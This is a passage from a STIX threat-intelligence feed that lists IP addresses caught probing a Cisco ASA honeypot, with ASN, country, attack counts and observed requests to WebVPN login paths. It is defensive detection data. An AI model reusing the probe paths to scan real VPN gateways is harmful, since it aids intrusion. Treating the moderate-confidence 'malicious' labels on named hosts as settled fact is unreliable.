            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d1db88a0-3f93-4bfa-91da-62f64d14ce26",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:20:10.000Z",
      "valid_until": "2026-05-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-21T04:38:16.727Z",
          "last_seen": "2026-04-28T00:15:20.816Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--581e16db-525b-4b05-a2ec-43d2d5d89c25",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.230.72.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:20:10.000Z",
      "valid_until": "2026-05-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-23T00:53:33.536Z",
          "last_seen": "2026-04-23T00:53:33.536Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--7c5db743-699e-4336-a8f1-e58eb2923ecc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:20:10.000Z",
      "valid_until": "2026-05-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-23T01:15:36.741Z",
          "last_seen": "2026-04-23T01:15:39.745Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--95847d69-379c-4375-8470-245812fa22ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:20:10.000Z",
      "valid_until": "2026-05-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-23T01:08:06.618Z",
          "last_seen": "2026-04-23T01:08:06.618Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--a7fe1784-ef5f-40f5-aac9-07163c34792d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:20:10.000Z",
      "valid_until": "2026-05-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-02T09:15:15.505Z",
          "last_seen": "2026-04-23T01:11:42.622Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--4f815220-9af8-4b8b-b46f-877534954730",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '98.81.60.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T01:20:10.000Z",
      "valid_until": "2026-05-25T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-23T00:56:18.056Z",
          "last_seen": "2026-04-23T00:56:18.056Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--7ececaa9-c17e-47e6-ab96-2d9ca4380983",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T02:20:10.000Z",
      "valid_until": "2026-05-25T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-23T01:23:06.713Z",
          "last_seen": "2026-04-23T01:23:06.713Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--5e3f321c-4ab0-451d-9d32-6a2e8e6b021f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:20:12.000Z",
      "valid_until": "2026-05-25T04:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-18T22:43:38.011Z",
          "last_seen": "2026-04-27T21:22:04.700Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: CH; ASN 402253 (SKN Subnet & Telecom Ltd)",
      "id": "indicator--8945d59e-b1ba-401a-8a46-931b8b44fded",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '209.99.190.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:20:12.000Z",
      "valid_until": "2026-05-25T04:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 5,
          "first_seen": "2026-04-23T04:19:56.129Z",
          "last_seen": "2026-04-23T04:20:06.112Z",
          "country": "Switzerland",
          "country_code": "CH",
          "asn": 402253,
          "as_org": "SKN Subnet & Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--963d6f50-2313-4b3f-ab8f-dc5af4927a96",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:20:12.000Z",
      "valid_until": "2026-05-25T04:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-23T03:49:48.889Z",
          "last_seen": "2026-04-27T09:22:24.809Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--52a7aff2-7a72-4054-a1c3-acf9e74c5dfc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:20:12.000Z",
      "valid_until": "2026-05-25T04:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-15T11:27:05.629Z",
          "last_seen": "2026-04-23T03:39:39.086Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--d6447a14-efdf-4d4c-ba08-1bd787efa579",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.222.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:20:12.000Z",
      "valid_until": "2026-05-25T04:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-23T03:34:52.723Z",
          "last_seen": "2026-04-26T15:15:15.262Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T04:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--030e33c4-87d8-4b74-90b5-a31d478a4627",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.249.134.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T04:20:12.000Z",
      "valid_until": "2026-05-25T04:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-23T04:11:52.109Z",
          "last_seen": "2026-04-27T18:57:30.149Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--1cb86aaa-70c6-4e97-822d-83f84514202c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T05:20:10.000Z",
      "valid_until": "2026-05-25T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T13:05:37.879Z",
          "last_seen": "2026-04-23T04:35:30.018Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 31898 (Oracle Corporation)",
      "id": "indicator--273a0a4d-05b2-48ac-8d81-97299045cb00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.224.137.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T05:20:10.000Z",
      "valid_until": "2026-05-25T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-23T05:02:28.301Z",
          "last_seen": "2026-04-26T15:52:16.976Z",
          "country": "United States",
          "country_code": "US",
          "asn": 31898,
          "as_org": "Oracle Corporation",
          "event_types": [
            "\"HEAD / HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c5762340-8aee-4179-ad08-118657671c95",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T05:20:10.000Z",
      "valid_until": "2026-05-25T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-21T17:59:32.299Z",
          "last_seen": "2026-04-24T16:47:55.275Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--09f77cc0-e804-4897-a6dc-e886ac6e69eb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T05:20:10.000Z",
      "valid_until": "2026-05-25T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-18T09:32:50.206Z",
          "last_seen": "2026-04-23T05:01:30.595Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7c5adef5-58c8-419a-83c7-6ec710d6358f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T05:20:10.000Z",
      "valid_until": "2026-05-25T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-23T04:49:23.836Z",
          "last_seen": "2026-04-23T14:41:03.813Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--9202bf38-48c7-4f1b-aa7c-406119bc0ec4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '43.225.189.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T06:20:13.000Z",
      "valid_until": "2026-05-25T06:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-23T05:57:10.997Z",
          "last_seen": "2026-04-28T00:15:26.806Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--a3efd667-8dcb-4aa9-a81e-f718a7031d34",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T07:20:10.000Z",
      "valid_until": "2026-05-25T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-23T06:30:08.821Z",
          "last_seen": "2026-04-24T08:55:21.213Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--ec27a1b0-c194-420c-ba29-53f55ec085df",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T08:20:10.000Z",
      "valid_until": "2026-05-25T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
